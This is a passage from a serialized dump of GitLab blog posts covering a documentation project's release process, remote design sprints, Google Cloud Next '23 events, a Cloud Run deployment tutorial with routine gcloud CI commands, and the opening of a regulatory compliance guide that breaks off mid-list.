community of contributors](https://go.gitlab.com/16yEa3) dedicated to improving the quality of software documentation by sharing best practices — the first time we felt confident putting our production-ready documentation templates into the world for other software projects to review, use, and help us improve.\n\nOrganizing and executing a release of this magnitude requires extensive planning and sophisticated project management tools. Luckily, our community uses GitLab, so we had everything we needed at our disposal.\n\nIn this article, we'll explain how we used GitLab to meet our goal of bringing Version 1.0 (codenamed \"Capilano\") to the world. Our release process consists of four general phases:\n* [Scheduling](#scheduling-a-release)\n* [Planning](#planning-a-release)\n* [Tracking](#tracking-a-release)\n* [Releasing](#release-day)\n\nWe'll share how we use GitLab in each of those phases to achieve a successful project release.\n\n## Scheduling a release\n[The Good Docs Project](https://about.gitlab.com/blog/meet-partner-the-good-docs-project/) releases template updates twice a year: on June 15 and December 15. Each of our releases receives both a number and a codename in honor of a famous bridge (because we're \"bridging the documentation gap for our users\"). Last December, for example, we issued [Version 0.3.0, codenamed \"Brooklyn Bridge\"](https://thegooddocsproject.dev/blog/template-release-0.3.0-using-our-own-templates/) release. In June, we finished [Version 1.0.0, which was codenamed \"Capilano\"](https://gitlab.com/tgdp/templates/-/releases/v1.0.0) for [a bridge in Canada](https://en.wikipedia.org/wiki/Capilano_Suspension_Bridge)). And now we're starting work on the [Dragon](https://gitlab.com/groups/tgdp/-/milestones/4) release, which gets its name from [a bridge on the River Han in Vietnam](https://en.wikipedia.org/wiki/Dragon_Bridge_(Da_Nang)).\n\n![The Good Docs Project Release Process](https://about.gitlab.com/images/blogimages/tgdp-release-cycle.jpg){: .shadow}\n\nOur release schedule prioritizes *work time* over *work scope*. We set goals we wish to accomplish with every release, then use the release deadline as a motivational tool to get projects done. However, we [don't delay releases](https://handbook.gitlab.com/teamops/measurement-clarity/#prioritize-due-dates-over-scope) for a particular release initiative per se. Instead, we try to accurately scope and track our release initiatives to ensure they complete in time for their desired release.\n\n## Planning a release\nFor the first month of our six-month release cycle, each of The Good Docs Project's working groups or teams determines initiatives for the cycle. They usually hold an initial brainstorming session, which involves using a synchronous collaboration tool (like Miro) to determine which ideas to include as official goals for the release. But after confirming and committing what we want to do with each release, we migrate all those objectives to GitLab, where we communicate them to the rest of the community. That process generally looks like this:\n* Open an issue in a release's respective repository and we tag it with the milestone for that release\n* Attach [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) to indicate which working group is assigned to that task\n* Assign an initial [health status](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#health-status) of \"On track\"\n* Assign the issue [a weight](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html) to indicate its importance\n\nThen, in a general community meeting where we end the release planning process, everyone identifies what they'll commit to, and we begin using the milestone to track progress and [a global project board to track the health status](https://gitlab.com/groups/tgdp/-/boards/5867329?milestone_title=Dragon%20release) when we do stand-ups to [report on progress](https://gitlab.com/groups/tgdp/-/milestones/4).\n\nTo prioritize effectively, we draw on guidance from our team of template product managers, who [perform extensive user research](https://tinyurl.com/template-brainstorming-report) into the templates our users or potential users think we should add to the roadmap. We attend conferences and engage with both technical writers and developers to hear what they want from our product. This team of product managers then distills this information into a long-term product roadmap that informs which template issues are strategically important to our project. We then translate that roadmap into issues in [our project backlog](https://gitlab.com/tgdp/templates/-/issues/?sort=updated_desc&state=opened&first_page_size=100).\n\n## Tracking a release\nGaining access to [GitLab's project management features](/pricing/feature-comparison/) was one of our primary motivations for adopting the platform in the first place. These features allow us to track and monitor our progress toward a release. We love that with GitLab we can manage multiple sub-projects and repositories under our organization, but still view all the issues on a \"single pane of glass.\" This allows working groups and teams to work in their individual repositories, but gives us a high-level overview of their work at the organizational level, using features like milestones and scoped labels.\n\nTo track our releases, we configure a project milestone that runs for the full release time period. The milestone shows all the initiatives we're working on, as well as our progress toward each on [an organization-wide burndown chart](https://gitlab.com/groups/tgdp/-/milestones/3#tab-issues). We use [scoped labels](https://docs.gitlab.com/ee/user/project/labels.html#scoped-labels) (labels that can only be assigned to one value at a time) on each issue to track which working group is working on that initiative. We also use GitLab's [health status feature](https://docs.gitlab.com/ee/user/project/issues/managing_issues.html#health-status) to track whether the initiative is on track or at risk of falling behind schedule. On top of that, we create a project board that helps us visualize all the project's active issues and initiatives, filtered by each working group. Our project board provides insights into the work each group is doing and gives us a sense of the release's overall progress toward our release goals.\n\nThese boards are a focal point of our weekly general meetings. We review the milestone and project board, then check in with working group and team leads to make sure their work toward the release is going well. These meetings are opportunities to identify potential blockers preventing (or threatening to prevent) the work from getting done — or to communicate if any of our earlier estimates need to be adjusted. We build some flexibility into our release planning and tracking processes in case we need to make mid-release changes or course corrections. For example, we determine which individual template projects we'll add them to a release *during the release process itself, rather than during the release planning stage we descibed earlier. Since those projects are dependent on volunteer work that can't always be controlled by the project leads, we wait to officially add them to a release until we can be certain a template project will be ready for release day.\n\n## Release day\nWhen release day finally arrives, our [Tech Team](https://thegooddocsproject.dev/who-we-are/#tech-team) meets to tag the release in the templates repository and build our artifacts, including all our zip files and tarballs for our templates. To do that, the team:\n* Verifies that all merge requests are complete\n* Creates a tag for the templates repository for the main branch and adds a tag message indicating it is for a release\nAdds a release title, tags it with our milestone for that release, confirms the date, and adds the release notes (using [our community's own release notes template](https://gitlab.com/tgdp/templates/-/releases/v1.0.0), of course) by using the `Create Release` button on the release screen\n* Creates the release; GitLab generates all the files from our repository, including zips, tarballs, and JSON artifacts\n* Publishes a link to our release and the artifacts on our website\n\nWe try to ensure we've recognized and tagged every project member who contributed directly to the templates release. That includes people who wrote templates, improved existing templates, or created examples for our templates. Then, the Tech Team publishes the artifacts and release notes to our website and publishes an announcement to all our internal and external communication channels.\n\nWe believe it's important to take breaks. For that reason, our project always takes a three-week break after release day. For those three weeks, we encourage all our project members to get some well-deserved rest and relaxation. We don't hold any meetings during this time, and we encourage people to only communicate lightly with other project members.\n\nThen we regroup in July or January — and start the release process all over again!\n\nIt's not too late to join our next release and experience this process firsthand. Just visit [The Good Docs Project community page](https://thegooddocsproject.dev/community/) to learn how to get started.\n\nThe [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) are building the future of open source on GitLab. Connect with them on [Gitlab.com](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners).\n{: .note}\n",[815,267,754],{"slug":8831,"featured":6,"template":678},"coordinating-documentation-projects-gitlab","content:en-us:blog:coordinating-documentation-projects-gitlab.yml","Coordinating Documentation Projects Gitlab","en-us/blog/coordinating-documentation-projects-gitlab.yml","en-us/blog/coordinating-documentation-projects-gitlab",{"_path":8837,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8838,"content":8844,"config":8849,"_id":8851,"_type":16,"title":8852,"_source":17,"_file":8853,"_stem":8854,"_extension":20},"/en-us/blog/remote-design-sprints",{"title":8839,"description":8840,"ogTitle":8839,"ogDescription":8840,"noIndex":6,"ogImage":8841,"ogUrl":8842,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8842,"schema":8843},"How to facilitate remote design sprints","Use these tips to help solve big design problems with stakeholders across multiple time zones.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683129/Blog/Hero%20Images/remotedesign.png","https://about.gitlab.com/blog/remote-design-sprints","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to facilitate remote design sprints\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Bauman\"}],\n        \"datePublished\": \"2023-08-23\",\n      }",{"title":8839,"description":8840,"authors":8845,"heroImage":8841,"date":8846,"body":8847,"category":734,"tags":8848},[2244],"2023-08-23","Recently, our research showed that our [Environments feature](https://about.gitlab.com/handbook/engineering/development/ops/deploy/environments/), which is part of the [Deploy stage](https://about.gitlab.com/direction/#devsecops-stages) of the software development lifecycle, was experiencing lower adoption rates and facing some usability challenges. Leaning on the evidence, [Viktor Nagy](https://gitlab.com/nagyv-gitlab), product manager for Environments, and I soon realized that we needed to look beyond a few small fixes and rethink our direction. We needed a design sprint. Below we share the process for creating your own remote design sprint.\n\n## What is a design sprint?\nDesign sprint is a term most people working in tech have heard in passing, but the meaning and purpose behind running one is often lost. A design sprint is a process for solving big problems through design, prototyping, and assessing ideas with customers. It's a method for developing a hypothesis, prototyping an idea, and testing it rapidly with as little investment as possible. Essentially, it's a great tool to align a team under a common goal, and answer the question: Are we on the right track to making a product that users will want to use?\n\nObvious benefits apart, why would a team want to spend the time going through this process? There are multiple selling points, but the main one is they help reduce time and money spent during the product lifecycle. A design sprint is a time-boxed way to get clear answers before investing in any development resources. It also brings the team together and gets everyone on the same page from the very beginning. This helps move the project forward even after the sprint concludes. \n\n## How we run remote design sprints\n[Jake Knapp](https://jakeknapp.com/sprint) created the design sprint process at Google in 2010, and during his time there he refined the process to be what it is today. Design sprints were originally designed to take place in person over five days, but over the past few years they have gone through continuous adjustments and refinements to adapt to remote practices. A more recent example being the four-day sprint we ran with the team.\n\n![](https://about.gitlab.com/images/blogimages/designsprint-diagram.png)\nDesign sprint diagram showing the four-day breakdown\n\nThe big question here is how do we go about developing a process for GitLab that works across time zones, runs partially asynchronously, and works remotely? \n\nDesign sprints were originally run in a conference room, with everyone together. If you needed an answer, the facilitator was right there at the front, able to answer questions or help with activities. Things get significantly more complicated when everyone is located on different continents. But with all this, we managed to figure out a successful process through a bit of trial and error, and some of the following tips will help anyone run a successful sprint in a remote setting. \n\n### 1. Thorough planning is the secret ingredient\nEven an in-person, fully synchronous design sprint requires preparation. In a well-planned design sprint, the process does most of the heavy lifting and gets you the right results in the end. So, when it comes to running a sprint that plays across time zones, remotely and asynchronously, the importance of planning increases tenfold. \n\nThe first thing a team needs to do before starting a design sprint is to answer some important questions:\n- What is the problem for the customer/user?\n- Why is it important for the business/technology?\n- What evidence do we have that this is a problem worth solving?\n- What research insights do we already have about the design problem?\n\nWith answers to all these questions, the team now has established goals and objectives to sprint towards. The clarity around this ensures everyone starts on the same page, and is working toward a common purpose.  \n\n### 2. Set the time expectations\nDesign sprints can be demanding in terms of the mental capacity and attention participants are required to dedicate to them. Advance capacity planning helps participants to be more present and engaged, and to bring their best ideas to the table. This is only possible if they account for the time required to spend on the sprint in advance. It also gives the facilitator a chance to answer any questions related to the sprint and set the expectations ahead of time.  \n\nPart of this includes understanding how the team's time zones can impact asynchronous activities. It is good to look into the following: \n- Review time zones and ensure sprint participants don't have to wake up too early or stay up too late. Sometimes this can be challenging and that's when leaning on the asynchronous aspect of communication is important. Tools like this [time zone converter](https://www.timeanddate.com/worldclock/converter.html) can help make this process easier.\n- Depending on how far time zones are spread, some people may finish their day hours before others even start. Therefore, a one-day window likely isn't enough of a time box for a task/activity. A practical window can span 48 hours in some cases, meaning each day of the design sprint could potentially take two days.\n- Ensure activities or announcements are assigned and communicated at the start of day in the earliest timezone. These are best shared both in Slack, and in the issue for the respective day. \n- Account for unforeseen reasons for participants' unavailability as there will always be aspects we cannot control. \n\n### Partnership is key\nRunning a design sprint is not a one-person job. To ensure smooth operation and get the best results, the product designer and product manager need to team up. A strong partnership between the two can make the process of planning and running a sprint less overwhelming. The split in responsibilities can look something like this:\n- Product can help define business and product goals, and reach out to users and team members to participate. \n- Design can help facilitate and plan the sprint, and guide ideation and prototyping. Design also can diligently plan for testing the concepts that come out of the sprint. \n\n### Tools and tips\nWith all the planning complete, the biggest task is to facilitate and guide the team through a sprint process. Running a sprint involves using various sets of tools for different activities to ensure everything runs smoothly. During the sprint with the Environments team we took advantage of the following:\n- GitLab issues to outline the activities and expectations for each day and serve as a single source of truth \n- Mural boards to collaborate on activities such as 'How Might We's', ideation, and prototyping\n- Zoom to meet synchronously, along with a Slack Channel for asynchronous updates\n- Google Drive to share files, such as the lightning talk recordings\n\nAs a facilitator, I also took advantage of GitLab's asynchronous culture to pre-record videos such as our Sprint Kickoff and Activity Walkthroughs so participants could go through these in their own time during each day.\n\n### Celebrate the wins\nOnce the sprint week has concluded and the team has landed on an experience or feature they want to move forward with, it's time to celebrate the wins! \n\nDesign sprints can be a lot of work, and it's great to look back on what all has been accomplished. Find ways to share those wins through team channels such as Slack and weekly meetings, or go even broader with blogs or social media posts. Who knows, this might also encourage other teams to test out the design sprint process as well!\n\n## Support at GitLab for design sprints\n[A remote design sprint](https://gitlab.com/groups/gitlab-org/ci-cd/deploy-stage/environments-group/-/epics/1) helped the Environments team to come together and make a contribution to solving a large problem. We were able to come out of the sprint with a clear concept to move forward with and a shared understanding around what the future of environments at GitLab could be. I was motivated to further document the resources that came out of this activity and make it accessible to the team. We landed on [a design sprint process](https://about.gitlab.com/handbook/product/ux/design-sprint/) that can be shared, re-used, and built upon by other designers. Not only were we able to solve something that fit what we had been looking for this whole time, but the team came together during the process and built it up together.",[2249,2248],{"slug":8850,"featured":6,"template":678},"remote-design-sprints","content:en-us:blog:remote-design-sprints.yml","Remote Design Sprints","en-us/blog/remote-design-sprints.yml","en-us/blog/remote-design-sprints",{"_path":8856,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8857,"content":8862,"config":8868,"_id":8870,"_type":16,"title":8871,"_source":17,"_file":8872,"_stem":8873,"_extension":20},"/en-us/blog/gitlab-and-google-together-at-google-cloud-next-23",{"title":8858,"description":8859,"ogTitle":8858,"ogDescription":8859,"noIndex":6,"ogImage":8748,"ogUrl":8860,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8860,"schema":8861},"GitLab and Google together at Google Cloud Next '23","Here's a roundup of all the GitLab events and announcements at the Next ‘23 conference.","https://about.gitlab.com/blog/gitlab-and-google-together-at-google-cloud-next-23","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab and Google together at Google Cloud Next '23\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Nima Badiey\"}],\n        \"datePublished\": \"2023-08-22\",\n      }",{"title":8858,"description":8859,"authors":8863,"heroImage":8748,"date":8865,"body":8866,"category":736,"tags":8867},[8864],"Nima Badiey","2023-08-22","\nAfter a pandemic-related hiatus from in-person events, we’re excited that Google Cloud Next ‘23 is back in person Aug. 29 - 31 at the Moscone Center in San Francisco – and GitLab will be there. Next ’23  promises to be a packed event, with exciting announcements and new product introductions from Google and its partners. \n\nIf you’re going to Next ‘23, here’s a quick summary of where to find GitLab at the event, including speaking sessions, our booth in the expo hall, and our storefront, to learn more about the [most comprehensive AI-powered DevSecOps Platform](https://about.gitlab.com). And don’t forget to check out the [GitLab at Next '23 event page](https://about.gitlab.com/events/google-cloud-next/) for updates and invites!\n\n### All week\nJoin us at our booth #633 on the expo floor to meet the GitLab team and learn how GitLab and Google Cloud are partnering to deliver secure, enterprise-grade AI. Talk to DevSecOps experts, dive into our new AI capabilities built directly into the platform, and learn best practices you can apply to your own environment. Get all your technical questions answered, and let us know what features you'd like to see in the GitLab platform!\n* We also have a Pop-Up Meeting Experience at the 4th Street Entrance to the [Metreon](https://www.shoppingmetreon.com/). Our team is providing demos and Q&A for [GitLab Duo](https://about.gitlab.com/gitlab-duo/), our suite of AI-powered capabilities that can enhance your workflows throughout the software development lifecycle. Register for a coffee chat in our exclusive gathering space to start your day off right!\n* GitLab team members are available all week to meet customers, partners, and fellow Google sellers, so be sure to ask your GitLab sales representatives who and how to connect with them in person.\n\n### Tuesday, Aug. 29\n* If you’re attending the Executive Women’s Network breakfast, be sure to say hi to our Patty Cheung, Vice President of Sales for Channel and Alliances. Patty recently joined the GitLab team and is focusing her team on helping customers leverage GitLab’s extensive partner ecosystem to adopt, scale, and grow their businesses on GitLab’s AI-powered DevSecOps Platform.\n* Grab a seat early and as close to the stage as you can because you don’t want to miss out on Google Cloud CEO Thomas Kurian’s opening keynote. You’ll learn how GitLab is building our latest AI-assisted services, such as Explain this Vulnerability and Code Suggestions on Google’s PaLM2-based VertexAI and Codey upgrades.\n* Join us on August 29th at 6:30 p.m. for a Happy Hour at the GitLab storefront at the Metreon before the rest of the evening’s festivities. Don’t forget to [grab an invite](https://page.gitlab.com/20230829-google-cloud-next-meetings-happy-hour.html) before you come.\n\n### Wednesday, Aug. 30\n* Make sure to [register for our Aug. 30th breakfast](https://page.gitlab.com/event_august30_googlenextexecbreakfast_sanfrancisco.html?utm_medium=corpmktg&utm_source=marketo&utm_campaign=googlenextbreakfast20230830&utm_content=ownedevent&utm_budget=fmm) from 8:30-10AM at the GitLab Storefront in the Metreon with lightning talks on key AI initiatives!\n* GitLab’s Chief Product Officer David DeSanto will join Google’s June Yang, vice president of Cloud AI and Industry Solutions, at the first spotlight session (SPTL200)  “[What's new with generative AI at Google Cloud](https://cloud.withgoogle.com/next/session-library?session=SPTL200#partner-summit)” at 1:30 p.m. to share how GitLab has been able to accelerate our AI-based product features by leveraging Google’s Vertex and Codey frameworks.\n* After the session, David will join Google’s Gabe Monroy, vice president of Developer Experience, at the Application Developers spotlight (SPTL201) “[What's next for application developers](https://cloud.withgoogle.com/next/session-library?session=SPTL201#partner-summit)” at 4:45 p.m. They will share some exciting updates on how Google and GitLab are expanding their partnership.\n\n### Thursday, Aug. 31\n* We’ll get more hands on with two panel sessions where audience members will hear from GitLab and Google product leads and get a chance to ask questions and interact with the teams.\n* Starting at 9:00 a.m., Mike Flouton, GitLab vice president of Product, will join Google’s Parashar Shah, product manager for Vertex AI and Codey APIs, on a panel at the (ai-ml208) “[Accelerate software development with Vertex AI’s Codey APIs](https://cloud.withgoogle.com/next/session-library?session=ai-ml208#partner-summit)” session. They will discuss how GitLab uses Google’s many AI tools and frameworks to build Explain this Vulnerability and Code Suggestions on Google’s PaLM2-based VertexAI and Codey upgrades, just a small example of the 15+ new AI-assisted features we have planned. \n* At 10:15 a.m., join Hillary Benson, senior director of Product at GitLab, for a panel with Google team members, including Stephanie Wong, product manager for Google Cloud’s Duet AI. As part of the continuing series on all things AI, the (ai-ml214) “[Prompt engineering: Getting the skill your team needs next](https://cloud.withgoogle.com/next/session-library?session=ai-ml214#partner-summit)” session will discuss how prompt engineering can impact knowledge workers' success in delivering improved productivity and better outcomes.\n\nIf you’re a GitLab partner, drop me a line via LinkedIn and let’s connect in person at Next ‘23!\n",[736,674,923,943],{"slug":8869,"featured":6,"template":678},"gitlab-and-google-together-at-google-cloud-next-23","content:en-us:blog:gitlab-and-google-together-at-google-cloud-next-23.yml","Gitlab And Google Together At Google Cloud Next 23","en-us/blog/gitlab-and-google-together-at-google-cloud-next-23.yml","en-us/blog/gitlab-and-google-together-at-google-cloud-next-23",{"_path":8875,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8876,"content":8882,"config":8887,"_id":8889,"_type":16,"title":8890,"_source":17,"_file":8891,"_stem":8892,"_extension":20},"/en-us/blog/how-to-secure-cloud-run-deployment-with-auto-devops",{"title":8877,"description":8878,"ogTitle":8877,"ogDescription":8878,"noIndex":6,"ogImage":8879,"ogUrl":8880,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8880,"schema":8881},"How to secure Google Cloud Run deployment with GitLab Auto DevOps","This tutorial will help teams speed development, improve security, and harness the power of serverless technology.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682898/Blog/Hero%20Images/cloud-security.png","https://about.gitlab.com/blog/how-to-secure-cloud-run-deployment-with-auto-devops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to secure Google Cloud Run deployment with GitLab Auto DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Regnard Raquedan\"}],\n        \"datePublished\": \"2023-08-21\",\n      }",{"title":8877,"description":8878,"authors":8883,"heroImage":8879,"date":8884,"body":8885,"category":734,"tags":8886},[919],"2023-08-21","\nTeams looking for efficiency often look to GitLab and serverless platforms to minimize management overhead and speed deployment times. GitLab's tight integration with [Google Cloud Run](https://cloud.google.com/run) means that teams can take advantage of the industry-leading DevSecOps platform to deliver container-based applications securely and efficiently.\n\nThis tutorial will show you how to deploy applications to Cloud Run using GitLab [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/), a feature that lets developers quickly use CI/CD pipelines via pre-built templates. This approach can accelerate testing and deployment because stages and jobs are already pre-configured.\n\n## Prerequisites\nBefore you begin, make sure you have the following:\n- a Google Cloud project with Cloud Run and Cloud Build APIs enabled\n- a Google Cloud service account with Cloud Run Admin, Cloud Build Service Agent, Service Account User, and Project Viewer permissions\n- a GitLab project containing your application code\n\n### Demo walkthrough\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/hIFagDyo3f8\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" allowfullscreen>\u003C/iframe>\n\n\n**Step 1:** Configure Google Cloud credentials\n\nTo start, use the Google Cloud service account with the necessary permissions. Once you have the service account, export its key to a JSON file and encode it using base64.\n\n**Step 2:** Add Auto DevOps to your GitLab project\n\nNavigate to your GitLab project and create a new file at the root called \"gitlab-ci.yml.\" Add the following lines of code to include the Auto DevOps template, which automatically configures your pipeline based on project settings and configuration:\n\n```\ninclude:\n  - template: Auto-DevOps.gitlab-ci.yml\n```\n\nCommit the changes to your project.\n\n**Step 3:** Configure environment variables\n\nAdd the following environment variables to your GitLab project:\n\n* `BASE64_GOOGLE_CLOUD_CREDENTIALS`: The base64-encoded JSON file containing your service account key. Make sure to mask this variable.\n* `PROJECT_ID`: The Google Cloud project ID.\n* `SERVICE_ID`: The service ID that will be used for Cloud Run. For this tutorial, we'll use \"nodejs\" as our service ID.\n\n**Step 4:** Configure the CI/CD pipeline\n\nModify the \"gitlab-ci.yml\" file to add Google Cloud SDK, gcloud commands, Docker, and the necessary configurations for deploying your application to Cloud Run. \n\n```\nimage: google/cloud-sdk:latest\n```\n\nAdditionally, use Google Cloud Build to generate the container image required for deployment. Commit the changes to your project.\n\n```\ndeploy:\n  stage: deploy\n  script:\n    - export GOOGLE_CLOUD_CREDENTIALS=$(echo $BASE64_GOOGLE_CLOUD_CREDENTIALS | base64 -d)\n    - echo $GOOGLE_CLOUD_CREDENTIALS > service-account-key.json \n    - gcloud auth activate-service-account --key-file service-account-key.json \n    - gcloud config set project $PROJECT_ID \n    - gcloud auth configure-docker\n    - gcloud builds submit --tag gcr.io/$PROJECT_ID/$SERVICE_ID\n    - gcloud run deploy $SERVICE_ID --image gcr.io/$PROJECT_ID/$SERVICE_ID --region=us-central1 --platform managed --allow-unauthenticated \n```\n\n**Step 5:** Finalize the DAST stage\n\nOnce your application has been deployed to Cloud Run, complete the dynamic application security testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)) stage in the CI/CD pipeline to ensure your application is more secure. Add the Cloud Run URL to your \"gitlab-ci.yml\" file and enable full_scan and browser_scan options. Commit the changes to your project.\n\n```\nvariables:\n  DAST_WEBSITE: \u003Cproject URL>\n  DAST_FULL_SCAN_ENABLED: \"true\"\n  DAST_BROWSER_SCAN: \"true\" \n```\n\nIn this tutorial, we successfully deployed a Cloud Run application using GitLab's Auto DevOps. By following these steps, you can enjoy faster development and improved security, and harness the power of serverless technology.\n",[696,3949,674],{"slug":8888,"featured":6,"template":678},"how-to-secure-cloud-run-deployment-with-auto-devops","content:en-us:blog:how-to-secure-cloud-run-deployment-with-auto-devops.yml","How To Secure Cloud Run Deployment With Auto Devops","en-us/blog/how-to-secure-cloud-run-deployment-with-auto-devops.yml","en-us/blog/how-to-secure-cloud-run-deployment-with-auto-devops",{"_path":8894,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8895,"content":8900,"config":8905,"_id":8907,"_type":16,"title":8908,"_source":17,"_file":8909,"_stem":8910,"_extension":20},"/en-us/blog/meet-regulatory-standards-with-gitlab",{"title":8896,"description":8897,"ogTitle":8896,"ogDescription":8897,"noIndex":6,"ogImage":980,"ogUrl":8898,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8898,"schema":8899},"Meet regulatory standards with GitLab security and compliance","Compliance is more than one-off audits; it's a continuous process of managing risk by implementing guardrails and monitoring specific metrics. Learn how with this comprehensive guide.","https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet regulatory standards with GitLab security and compliance\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2023-08-17\",\n      }",{"title":8896,"description":8897,"authors":8901,"heroImage":980,"date":8902,"body":8903,"category":674,"tags":8904,"updatedDate":4845},[2816],"2023-08-17","Guiding principles in the form of standards have consistently ensured the secure and reliable delivery of products and services to customers. \nThese standards, typically enforced by legally mandated organizations, regulate industries and prevent the spread of subpar products.\n\nIn the Information Technology (IT) sector, adhering to standards extends beyond the final product delivery; it encompasses the entire solution lifecycle. As every industry increasingly leverages various forms of technology to accelerate processes and boost efficiency, vast quantities of often sensitive data are generated, stored, and transmitted using IT tools and services. The improper handling of this data can cause severe consequences, potentially leading to financial losses in the [hundreds of millions of dollars](https://tech.co/news/data-breaches-updated-list).\n\nThis comprehensive guide explains global compliance standards and walks through how to meet regulatory standards with GitLab compliance and security policy management.\n\nArticle contents:\n\n- [Common IT compliance standards](#common-it-compliance-standards)\n- [Global and regional compliance standards](#global-and-regional-compliance-standards)\n    - [Country/regional regulations](#countryregional-regulations)\n    - [Industry-specific standards](#industry-specific-standards)\n- [Importance of continuous compliance](#importance-of-continuous-compliance)\n- [Regulatory compliance vs. self-imposed standards](#regulatory-compliance-vs.-self-imposed-standards)\n- [Compliance management](#compliance-management)\n- [Compliance management with GitLab](#compliance-management-with-gitlab)\n    - [Compliance frameworks and pipelines](#compliance-frameworks-and-pipelines)\n    - [Security policy management](#security-policy-management)\n        - [Scan execution policies](#scan-execution-policies)\n        - [Scan result policies](#scan-result-policies)\n        - [License approval policies](#license-approval-policies)\n    - [Audit management](#audit-management)\n        - [Preparing for audits](#preparing-for-audits)\n        - [Using GitLab audit logs effectively](#using-gitlab-audit-logs-effectively)\n        - [Audit events streaming](#audit-events-streaming)\n- [Best practices for compliance management](#best-practices-for-compliance-management)\n- [Learn more](#learn-more)\n\n## Common IT compliance standards\nRegulatory compliance standards take various forms and depend on the industry or region in which an organization operates. First, we will look at common compliance standards, followed by region and industry-specific standards.\n\n### HIPAA\n\nThe [Health Insurance Portability and Accountability Act (HIPAA)](https://www.hhs.gov/hipaa/index.html) is important legislation that has impacted the healthcare industry in the U.S. The main aim of HIPAA, passed in 1996, is to protect sensitive patient health information from being disclosed without the patient's consent or knowledge.\n\nIt is essential to safeguard patient privacy, ensure data security, and standardize electronic healthcare transactions. HIPAA has forced healthcare providers, insurers, and related entities to implement strict data protection measures, significantly reducing unauthorized access to medical records and enhancing patient trust.\n\n### GDPR\n\n[The General Data Protection Regulation (GDPR)](https://gdpr-info.eu/) is a significant European Union law that governs the protection of personal data. Implemented in 2018, GDPR establishes strict guidelines for organizations handling the personal information of EU residents. It grants individuals greater control over their data, including the right to access, rectify, and erase personal information held by companies. GDPR mandates that organizations obtain explicit consent before collecting or processing personal data and clearly explain the purpose of data collection. Non-compliance can result in substantial financial penalties.\n\nAlthough an EU regulation, GDPR has global implications, affecting any organization that processes EU residents' data. This legislation has prompted widespread changes in data handling practices and has heightened awareness of privacy issues worldwide.\n\n### NIST SSDF\n\nThe [NIST Secure Software Development Framework (SSDF)](https://csrc.nist.gov/Projects/ssdf) is a guide to help organizations make safer software. Created by the National Institute of Standards and Technology, it offers [basic practices for secure software development](https://about.gitlab.com/blog/comply-with-nist-secure-supply-chain-framework-with-gitlab/).\n\nThe SSDF focuses on four main areas: getting the organization ready, protecting the software, making well-secured software, and dealing with vulnerabilities. It helps companies think about security, including security protocols, during development and throughout the software supply chain.\n\nBy following these guidelines, organizations can create software with fewer weak points and handle problems more effectively. The SSDF is flexible and can work with different software development methods, making it useful for many organizations.\n\n### PCI DSS\n\nThe [Payment Card Industry Data Security Standard (PCI DSS)](https://www.pcisecuritystandards.org/) is a set of security rules for organizations that handle credit card information. Created by major credit card companies, it aims to protect cardholders' data and prevent fraud. PCI DSS requires businesses to build and maintain a secure network, protect cardholder data, use strong access control measures, regularly monitor and test networks, and maintain an information security policy. These rules apply to any company that accepts, processes, stores, or transmits credit card data.\n\nCompliance with PCI DSS is mandatory for these businesses, regardless of their size or transaction volume. By following these standards, companies can better safeguard sensitive financial information, reduce the risk of data breaches, and maintain customer trust. Regular audits ensure ongoing compliance with these important security measures.\n\n### ISO 27000\n\n[ISO/IEC 27000](https://www.iso.org/standard/iso-iec-27000-family) provides the foundational framework for the ISO/IEC 27000 family of standards, offering a comprehensive overview of information security management systems (ISMS). It establishes a standardized vocabulary by defining key terms and concepts, ensuring consistent understanding across organizations in the field of information security.\n\nThe standard outlines the core components and processes to establish and maintain an effective ISMS. This guidance enables organizations to systematically manage information security risks, protecting confidential data and intellectual property.\n\nAdherence to ISO/IEC 27000 allows organizations to build a robust ISMS, enhancing their resilience against cyber threats, safeguarding valuable information assets, and fostering stakeholder trust.\n\n> [Learn how GitLab can help you on your ISO 27001 compliance journey.](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/)\n\n## Global and regional compliance standards\n\n### Country/regional regulations\n\nWhile compliance standards like HIPAA and GDPR are known globally, they are USA and EU standards respectively. They influence other regional standards around the globe but are only required for companies to adhere to where they handle data from, for example, the EU. Several countries have compliance standards that must be met if a company operates in such countries. Here are a few other country-specific standards:\n- [SOX](https://en.wikipedia.org/wiki/Sarbanes%E2%80%93Oxley_Act) (USA, Public companies): Sarbanes-Oxley Act. Mandates proper financial record-keeping and reporting for public companies.\n- [PIPEDA](https://www.priv.gc.ca/en/privacy-topics/privacy-laws-in-canada/the-personal-information-protection-and-electronic-documents-act-pipeda/) (Canada, Commercial businesses): Personal Information Protection and Electronic Documents Act. Governs how private sector organizations collect, use, and disclose personal information.\n- 